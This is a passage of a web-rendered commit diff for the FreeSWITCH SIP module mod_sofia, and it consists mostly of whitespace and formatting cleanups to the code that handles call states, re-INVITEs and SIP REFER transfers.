</span><span class="cx">         case nua_callstate_completing:
</span><del>-                if (!(session &amp;&amp; channel &amp;&amp; tech_pvt)) goto done;
-                break;
</del><ins>+                if (!(session &amp;&amp; channel &amp;&amp; tech_pvt))
+                        goto done;
</ins><span class="cx">         default:
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="lines">@@ -4151,7 +4179,7 @@
</span><span class="cx">                 if (status == 180) {
</span><span class="cx">                         switch_channel_mark_ring_ready(channel);
</span><span class="cx">                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 if (r_sdp) {
</span><span class="cx">                         if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><span class="cx">                                 if (switch_channel_test_flag(channel, CF_PROXY_MEDIA) &amp;&amp; !switch_channel_test_flag(tech_pvt-&gt;channel, CF_OUTBOUND)) {
</span><span class="lines">@@ -4190,9 +4218,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case nua_callstate_completing:
</span><del>-                nua_ack(nh,
-                                TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)),
-                                TAG_END());
</del><ins>+                nua_ack(nh, TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)), TAG_END());
</ins><span class="cx">                 goto done;
</span><span class="cx">         case nua_callstate_received:
</span><span class="cx">                 if (!sofia_test_flag(tech_pvt, TFLAG_SDP)) {
</span><span class="lines">@@ -4299,15 +4325,13 @@
</span><span class="cx">                                                                                 SIPTAG_CONTACT_STR(tech_pvt-&gt;profile-&gt;url),
</span><span class="cx">                                                                                 SOATAG_USER_SDP_STR(tech_pvt-&gt;local_sdp_str),
</span><span class="cx">                                                                                 SOATAG_REUSE_REJECTED(1),
</span><del>-                                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), 
</del><ins>+                                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;),
</ins><span class="cx">                                                                                 TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         nua_respond(tech_pvt-&gt;nh, SIP_200_OK,
</span><span class="cx">                                                                                 NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                                                                 SIPTAG_CONTACT_STR(tech_pvt-&gt;profile-&gt;url),
</span><del>-                                                                                SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;),
-                                                                                SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),
-                                                                                TAG_END());
</del><ins>+                                                                                SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;), SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str), TAG_END());
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (sofia_test_pflag(profile, PFLAG_3PCC_PROXY)) {
</span><span class="cx">                                                 //3PCC proxy mode delays the 200 OK until the call is answered
</span><span class="lines">@@ -4348,7 +4372,7 @@
</span><span class="cx"> 
</span><span class="cx">                         if (r_sdp) {
</span><span class="cx">                                 const char *var;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((var = switch_channel_get_variable(channel, &quot;sip_ignore_reinvites&quot;)) &amp;&amp; switch_true(var)) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Ignoring Re-invite\n&quot;);
</span><span class="cx">                                         nua_respond(tech_pvt-&gt;nh, SIP_200_OK, TAG_END());
</span><span class="lines">@@ -4363,13 +4387,13 @@
</span><span class="cx">                                         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))
</span><span class="cx">                                                 &amp;&amp; (other_session = switch_core_session_locate(uuid))) {
</span><span class="cx">                                                 switch_core_session_message_t *msg;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_channel_test_flag(channel, CF_PROXY_MODE) &amp;&amp; !is_t38 &amp;&amp; profile-&gt;media_options &amp; MEDIA_OPT_MEDIA_ON_HOLD) {
</span><span class="cx">                                                         tech_pvt-&gt;hold_laps = 1;
</span><span class="cx">                                                         switch_channel_set_variable(channel, SWITCH_R_SDP_VARIABLE, r_sdp);
</span><span class="cx">                                                         switch_channel_clear_flag(channel, CF_PROXY_MODE);
</span><span class="cx">                                                         sofia_glue_tech_set_local_sdp(tech_pvt, NULL, SWITCH_FALSE);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!switch_channel_media_ready(channel)) {
</span><span class="cx">                                                                 if (!switch_channel_test_flag(tech_pvt-&gt;channel, CF_OUTBOUND)) {
</span><span class="cx">                                                                         //const char *r_sdp = switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
</span><span class="lines">@@ -4394,34 +4418,32 @@
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="cx">                                                         sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 1);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (sofia_use_soa(tech_pvt)) {
</span><span class="cx">                                                                 nua_respond(tech_pvt-&gt;nh, SIP_200_OK,
</span><span class="cx">                                                                                         SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><span class="cx">                                                                                         SOATAG_USER_SDP_STR(tech_pvt-&gt;local_sdp_str),
</span><span class="cx">                                                                                         SOATAG_REUSE_REJECTED(1),
</span><del>-                                                                                        SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), 
</del><ins>+                                                                                        SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;),
</ins><span class="cx">                                                                                         TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 nua_respond(tech_pvt-&gt;nh, SIP_200_OK,
</span><span class="cx">                                                                                         NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                                                                         SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><del>-                                                                                        SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;),
-                                                                                        SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),
-                                                                                        TAG_END());
</del><ins>+                                                                                        SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;), SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str), TAG_END());
</ins><span class="cx">                                                         }
</span><span class="cx">                                                         launch_media_on_hold(session);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_core_session_rwunlock(other_session);
</span><span class="cx">                                                         goto done;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 msg = switch_core_session_alloc(other_session, sizeof(*msg));
</span><span class="cx">                                                 msg-&gt;message_id = SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT;
</span><span class="cx">                                                 msg-&gt;from = __FILE__;
</span><span class="cx">                                                 msg-&gt;string_arg = switch_core_session_strdup(other_session, r_sdp);
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Passing SDP to other leg.\n%s\n&quot;, r_sdp);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
</span><span class="cx">                                                         if (!switch_stristr(&quot;sendonly&quot;, r_sdp)) {
</span><span class="cx">                                                                 sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
</span><span class="lines">@@ -4430,7 +4452,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                 } else if (switch_stristr(&quot;sendonly&quot;, r_sdp)) {
</span><span class="cx">                                                         const char *msg = &quot;hold&quot;;
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
</span><span class="cx">                                                                 const char *info = switch_channel_get_variable(channel, &quot;presence_call_info&quot;);
</span><span class="cx">                                                                 if (info) {
</span><span class="lines">@@ -4444,12 +4466,12 @@
</span><span class="cx">                                                         switch_channel_set_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">                                                         switch_channel_presence(tech_pvt-&gt;channel, &quot;unknown&quot;, msg, NULL);
</span><span class="cx">                                                 }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 switch_core_session_queue_message(other_session, msg);
</span><span class="cx"> 
</span><span class="cx">                                                 switch_core_session_rwunlock(other_session);
</span><span class="cx">                                         } else {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, 
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                                                   &quot;Re-INVITE to a no-media channel that is not in a bridge.\n&quot;);
</span><span class="cx">                                                 is_ok = 0;
</span><span class="cx">                                                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="lines">@@ -4457,7 +4479,7 @@
</span><span class="cx">                                         goto done;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         sofia_set_flag_locked(tech_pvt, TFLAG_REINVITE);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (tech_pvt-&gt;num_codecs) {
</span><span class="cx">                                                 if ((parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
</span><span class="cx">                                                         if ((sdp = sdp_session(parser))) {
</span><span class="lines">@@ -4471,7 +4493,7 @@
</span><span class="cx">                                                         goto done;
</span><span class="cx">                                                 }
</span><span class="cx">                                                 sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Reinvite RTP Error!\n&quot;);
</span><span class="cx">                                                         is_ok = 0;
</span><span class="lines">@@ -4484,8 +4506,8 @@
</span><span class="cx">                                                 is_ok = 0;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 if (is_ok) {
</span><span class="cx">                                         if (tech_pvt-&gt;local_crypto_key) {
</span><span class="cx">                                                 sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
</span><span class="lines">@@ -4495,15 +4517,13 @@
</span><span class="cx">                                                                         SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><span class="cx">                                                                         SOATAG_USER_SDP_STR(tech_pvt-&gt;local_sdp_str),
</span><span class="cx">                                                                         SOATAG_REUSE_REJECTED(1),
</span><del>-                                                                        SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), 
</del><ins>+                                                                        SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;),
</ins><span class="cx">                                                                         TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 nua_respond(tech_pvt-&gt;nh, SIP_200_OK,
</span><span class="cx">                                                                         NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                                                         SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><del>-                                                                        SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;),
-                                                                        SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),
-                                                                        TAG_END());
</del><ins>+                                                                        SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;), SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str), TAG_END());
</ins><span class="cx">                                         }
</span><span class="cx">                                         if (switch_event_create_subclass(&amp;s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_REINVITE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, &quot;Unique-ID&quot;, switch_core_session_get_uuid(session));
</span><span class="lines">@@ -4523,7 +4543,7 @@
</span><span class="cx">                         uint8_t match = 0;
</span><span class="cx"> 
</span><span class="cx">                         sofia_set_flag_locked(tech_pvt, TFLAG_REINVITE);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (tech_pvt-&gt;num_codecs) {
</span><span class="cx">                                 if ((parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
</span><span class="cx">                                         if ((sdp = sdp_session(parser))) {
</span><span class="lines">@@ -4537,7 +4557,7 @@
</span><span class="cx">                                         goto done;
</span><span class="cx">                                 }
</span><span class="cx">                                 sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Processing updated SDP\n&quot;);
</span><span class="cx">                                 if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;RTP Error!\n&quot;);
</span><span class="lines">@@ -4606,12 +4626,12 @@
</span><span class="cx">                         }
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (channel) {
</span><del>-            if (sofia_test_flag(tech_pvt, TFLAG_EARLY_MEDIA)) {
-                sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
-                sofia_set_flag(tech_pvt, TFLAG_SDP);
-                switch_channel_mark_answered(channel);
</del><ins>+                        if (sofia_test_flag(tech_pvt, TFLAG_EARLY_MEDIA)) {
+                                sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
+                                sofia_set_flag(tech_pvt, TFLAG_SDP);
+                                switch_channel_mark_answered(channel);
</ins><span class="cx">                                 if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><span class="cx">                                         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))
</span><span class="cx">                                                 &amp;&amp; (other_session = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -4620,9 +4640,9 @@
</span><span class="cx">                                                 switch_core_session_rwunlock(other_session);
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                goto done;
-            }
-                        
</del><ins>+                                goto done;
+                        }
+
</ins><span class="cx">                         if (!r_sdp &amp;&amp; !sofia_test_flag(tech_pvt, TFLAG_SDP)) {
</span><span class="cx">                                 r_sdp = (const char *) switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
</span><span class="cx">                         }
</span><span class="lines">@@ -4675,7 +4695,7 @@
</span><span class="cx"> 
</span><span class="cx">                                                         if (sofia_test_flag(tech_pvt, TFLAG_3PCC)) {
</span><span class="cx">                                                                 /* Check if we are in 3PCC proxy mode, if so then set the flag to indicate we received the ack */
</span><del>-                                                                if (sofia_test_pflag(profile, PFLAG_3PCC_PROXY )) {
</del><ins>+                                                                if (sofia_test_pflag(profile, PFLAG_3PCC_PROXY)) {
</ins><span class="cx">                                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;3PCC-PROXY, Got my ACK\n&quot;);
</span><span class="cx">                                                                         sofia_set_flag(tech_pvt, TFLAG_3PCC_HAS_ACK);
</span><span class="cx">                                                                 } else if (switch_channel_get_state(channel) == CS_HIBERNATE) {
</span><span class="lines">@@ -4725,21 +4745,21 @@
</span><span class="cx">                         switch_channel_set_variable(channel, &quot;sip_term_cause&quot;, st);
</span><span class="cx">                         switch_channel_hangup(channel, cause);
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 if (ss_state == nua_callstate_terminated) {
</span><span class="cx">                         if (tech_pvt-&gt;sofia_private) {
</span><span class="cx">                                 tech_pvt-&gt;sofia_private = NULL;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tech_pvt-&gt;nh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">                         if (nh) {
</span><span class="cx">                                 nua_handle_bind(nh, NULL);
</span><span class="cx">                                 nua_handle_destroy(nh);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -4763,7 +4783,7 @@
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_core_session_t *session, *a_session;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((a_session = switch_core_session_locate(nhelper-&gt;bridge_to_uuid))) {
</span><span class="cx">                 switch_core_session_t *tsession = NULL;
</span><span class="cx">                 switch_call_cause_t cause = SWITCH_CAUSE_NORMAL_CLEARING;
</span><span class="lines">@@ -4775,8 +4795,7 @@
</span><span class="cx">                         switch_channel_t *channel_a = switch_core_session_get_channel(session);
</span><span class="cx"> 
</span><span class="cx">                         if ((status = switch_ivr_originate(NULL, &amp;tsession, &amp;cause, nhelper-&gt;exten_with_params, timeout, NULL, NULL, NULL,
</span><del>-                                                                                           switch_channel_get_caller_profile(channel_a), 
-                                                                                           nhelper-&gt;vars, SOF_NONE, NULL)) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                                           switch_channel_get_caller_profile(channel_a), nhelper-&gt;vars, SOF_NONE, NULL)) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 if (switch_channel_up(channel_a)) {
</span><span class="cx">                                         tuuid_str = switch_core_session_get_uuid(tsession);
</span><span class="cx">                                         switch_ivr_uuid_bridge(nhelper-&gt;bridge_to_uuid, tuuid_str);
</span><span class="lines">@@ -4797,7 +4816,7 @@
</span><span class="cx"> 
</span><span class="cx">                         nua_notify(tech_pvt-&gt;nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR(&quot;message/sipfrag&quot;),
</span><span class="cx">                                            NUTAG_SUBSTATE(nua_substate_terminated),
</span><del>-                                           SIPTAG_PAYLOAD_STR(status == SWITCH_STATUS_SUCCESS ? &quot;SIP/2.0 200 OK\r\n&quot;: 
</del><ins>+                                           SIPTAG_PAYLOAD_STR(status == SWITCH_STATUS_SUCCESS ? &quot;SIP/2.0 200 OK\r\n&quot; :
</ins><span class="cx">                                                                                   &quot;SIP/2.0 403 Forbidden\r\n&quot;), SIPTAG_EVENT_STR(nhelper-&gt;event), TAG_END());
</span><span class="cx"> 
</span><span class="cx">                         switch_core_session_rwunlock(session);
</span><span class="lines">@@ -4836,10 +4855,10 @@
</span><span class="cx">         if (state == CS_HANGUP) {
</span><span class="cx">                 switch_core_session_t *ksession;
</span><span class="cx">                 const char *uuid = switch_channel_get_variable(channel, &quot;att_xfer_kill_uuid&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (uuid &amp;&amp; (ksession = switch_core_session_force_locate(uuid))) {
</span><span class="cx">                         switch_channel_t *kchannel = switch_core_session_get_channel(ksession);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_channel_clear_flag(kchannel, CF_XFER_ZOMBIE);
</span><span class="cx">                         switch_channel_clear_flag(kchannel, CF_TRANSFER);
</span><span class="cx">                         if (switch_channel_up(kchannel)) {
</span><span class="lines">@@ -4861,8 +4880,8 @@
</span><span class="cx">         nua_handle_t *nh = NULL;
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>-    void *val;
-    sofia_profile_t *profile;
</del><ins>+        void *val;
+        sofia_profile_t *profile;
</ins><span class="cx">         switch_xml_t xml_root;
</span><span class="cx">         const char *err;
</span><span class="cx"> 
</span><span class="lines">@@ -4873,18 +4892,19 @@
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">         if (mod_sofia_globals.profile_hash) {
</span><del>-        for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</del><ins>+                for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</ins><span class="cx">                         switch_hash_this(hi, &amp;var, NULL, &amp;val);
</span><del>-            if ((profile = (sofia_profile_t *) val)) {
</del><ins>+                        if ((profile = (sofia_profile_t *) val)) {
</ins><span class="cx">                                 if (!(nh = nua_handle_by_replaces(profile-&gt;nua, replaces))) {
</span><span class="cx">                                         nh = nua_handle_by_call_id(profile-&gt;nua, replaces-&gt;rp_call_id);
</span><span class="cx">                                 }
</span><del>-                                if (nh) break;
</del><ins>+                                if (nh)
+                                        break;
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(mod_sofia_globals.hash_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return nh;
</span><span class="cx"> 
</span><span class="cx"> }
</span><span class="lines">@@ -4922,9 +4942,7 @@
</span><span class="cx">         home = su_home_new(sizeof(*home));
</span><span class="cx">         switch_assert(home != NULL);
</span><span class="cx"> 
</span><del>-        nua_respond(nh, SIP_202_ACCEPTED,
-                                NUTAG_WITH_THIS(nua),
-                                SIPTAG_EXPIRES_STR(&quot;60&quot;), TAG_END());
</del><ins>+        nua_respond(nh, SIP_202_ACCEPTED, NUTAG_WITH_THIS(nua), SIPTAG_EXPIRES_STR(&quot;60&quot;), TAG_END());
</ins><span class="cx"> 
</span><span class="cx">         if (sip-&gt;sip_referred_by) {
</span><span class="cx">                 full_ref_by = sip_header_as_string(home, (void *) sip-&gt;sip_referred_by);
</span><span class="lines">@@ -4942,10 +4960,10 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Process REFER to [%s@%s]\n&quot;, exten, (char *) refer_to-&gt;r_url-&gt;url_host);
</span><span class="cx"> 
</span><del>-                if (refer_to-&gt;r_url-&gt;url_headers &amp;&amp; (rep = (char *)switch_stristr(&quot;Replaces=&quot;, refer_to-&gt;r_url-&gt;url_headers))) {
</del><ins>+                if (refer_to-&gt;r_url-&gt;url_headers &amp;&amp; (rep = (char *) switch_stristr(&quot;Replaces=&quot;, refer_to-&gt;r_url-&gt;url_headers))) {
</ins><span class="cx">                         sip_replaces_t *replaces;
</span><span class="cx">                         nua_handle_t *bnh = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (rep) {
</span><span class="cx">                                 const char *br_a = NULL, *br_b = NULL;
</span><span class="cx">                                 char *buf;
</span><span class="lines">@@ -4956,7 +4974,7 @@
</span><span class="cx">                                 if ((p = strchr(rep, ';'))) {
</span><span class="cx">                                         *p = '\0';
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((buf = switch_core_session_alloc(session, strlen(rep) + 1))) {
</span><span class="cx">                                         rep = url_unescape(buf, (const char *) rep);
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Replaces: [%s]\n&quot;, rep);
</span><span class="lines">@@ -4964,7 +4982,7 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Memory Error!\n&quot;);
</span><span class="cx">                                         goto done;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((replaces = sip_replaces_make(home, rep))) {
</span><span class="cx">                                         if (!(bnh = nua_handle_by_replaces(nua, replaces))) {
</span><span class="cx">                                                 if (!(bnh = nua_handle_by_call_id(nua, replaces-&gt;rp_call_id))) {
</span><span class="lines">@@ -4989,7 +5007,7 @@
</span><span class="cx"> 
</span><span class="cx">                                                 br_a = switch_channel_get_variable(channel_a, SWITCH_SIGNAL_BOND_VARIABLE);
</span><span class="cx">                                                 br_b = switch_channel_get_variable(channel_b, SWITCH_SIGNAL_BOND_VARIABLE);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!switch_ivr_uuid_exists(br_a)) {
</span><span class="cx">                                                         br_a = NULL;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -4997,18 +5015,18 @@
</span><span class="cx">                                                 if (!switch_ivr_uuid_exists(br_b)) {
</span><span class="cx">                                                         br_b = NULL;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_channel_test_flag(channel_b, CF_ORIGINATOR)) {
</span><span class="cx">                                                         switch_core_session_t *a_session;
</span><span class="cx"> 
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, 
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE,
</ins><span class="cx">                                                                                           &quot;Attended Transfer on originating session %s\n&quot;, switch_core_session_get_uuid(b_session));
</span><del>-                                                        
</del><span class="cx"> 
</span><del>-                                                        
</del><ins>+
+
</ins><span class="cx">                                                         switch_channel_set_variable(channel_b, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, &quot;ATTENDED_TRANSFER&quot;);
</span><del>-                                                        
-                                                        
</del><ins>+
+
</ins><span class="cx">                                                         sofia_clear_flag_locked(b_tech_pvt, TFLAG_SIP_HOLD);
</span><span class="cx">                                                         switch_channel_clear_flag(channel_b, CF_LEG_HOLDING);
</span><span class="cx">                                                         sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
</span><span class="lines">@@ -5016,8 +5034,8 @@
</span><span class="cx">                                                         switch_channel_set_variable(channel_b, SWITCH_HOLDING_UUID_VARIABLE, br_a);
</span><span class="cx">                                                         switch_channel_set_flag(channel_b, CF_XFER_ZOMBIE);
</span><span class="cx">                                                         switch_channel_set_flag(channel_b, CF_TRANSFER);
</span><del>-                                                        
-                                                        
</del><ins>+
+
</ins><span class="cx">                                                         if ((a_session = switch_core_session_locate(br_a))) {
</span><span class="cx">                                                                 const char *moh = profile-&gt;hold_music;
</span><span class="cx">                                                                 switch_channel_t *a_channel = switch_core_session_get_channel(a_session);
</span><span class="lines">@@ -5029,11 +5047,11 @@
</span><span class="cx">                                                                 if ((tmp = switch_channel_get_variable(a_channel, SWITCH_HOLD_MUSIC_VARIABLE))) {
</span><span class="cx">                                                                         moh = tmp;
</span><span class="cx">                                                                 }
</span><del>-                                                                
</del><ins>+
</ins><span class="cx">                                                                 if (!zstr(moh) &amp;&amp; !strcasecmp(moh, &quot;silence&quot;)) {
</span><span class="cx">                                                                         moh = NULL;
</span><span class="cx">                                                                 }
</span><del>-                                                                
</del><ins>+
</ins><span class="cx">                                                                 if (moh) {
</span><span class="cx">                                                                         char *xdest;
</span><span class="cx">                                                                         xdest = switch_core_session_sprintf(a_session, &quot;endless_playback:%s,park&quot;, moh);
</span><span class="lines">@@ -5041,26 +5059,26 @@
</span><span class="cx">                                                                 } else {
</span><span class="cx">                                                                         switch_ivr_session_transfer(a_session, &quot;park&quot;, &quot;inline&quot;, NULL);
</span><span class="cx">                                                                 }
</span><del>-                                                                
</del><ins>+
</ins><span class="cx">                                                                 switch_core_session_rwunlock(a_session);
</span><span class="cx"> 
</span><span class="cx">                                                                 nua_notify(tech_pvt-&gt;nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR(&quot;message/sipfrag;version=2.0&quot;),
</span><del>-                                                                                   NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR(&quot;SIP/2.0 200 OK\r\n&quot;), SIPTAG_EVENT_STR(etmp), TAG_END());
-                                                                
</del><ins>+                                                                                   NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR(&quot;SIP/2.0 200 OK\r\n&quot;), SIPTAG_EVENT_STR(etmp),
+                                                                                   TAG_END());
+
</ins><span class="cx">                                                                 if (b_tech_pvt &amp;&amp; !sofia_test_flag(b_tech_pvt, TFLAG_BYE)) {
</span><del>-                                                                        char* q850 = NULL;
-                                                                        const char* val = NULL;
</del><ins>+                                                                        char *q850 = NULL;
+                                                                        const char *val = NULL;
</ins><span class="cx"> 
</span><span class="cx">                                                                         sofia_set_flag_locked(b_tech_pvt, TFLAG_BYE);
</span><span class="cx">                                                                         val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;disable_q850_reason&quot;);
</span><span class="cx">                                                                         if (!val || switch_true(val)) {
</span><span class="cx">                                                                                 q850 = switch_core_session_sprintf(a_session, &quot;Q.850;cause=16;text=\&quot;normal_clearing\&quot;&quot;);
</span><del>-                                                                        } 
-                                                                        nua_bye(b_tech_pvt-&gt;nh, 
</del><ins>+                                                                        }
+                                                                        nua_bye(b_tech_pvt-&gt;nh,
</ins><span class="cx">                                                                                         TAG_IF(!zstr(q850), SIPTAG_REASON_STR(q850)),
</span><del>-                                                                                        TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)),
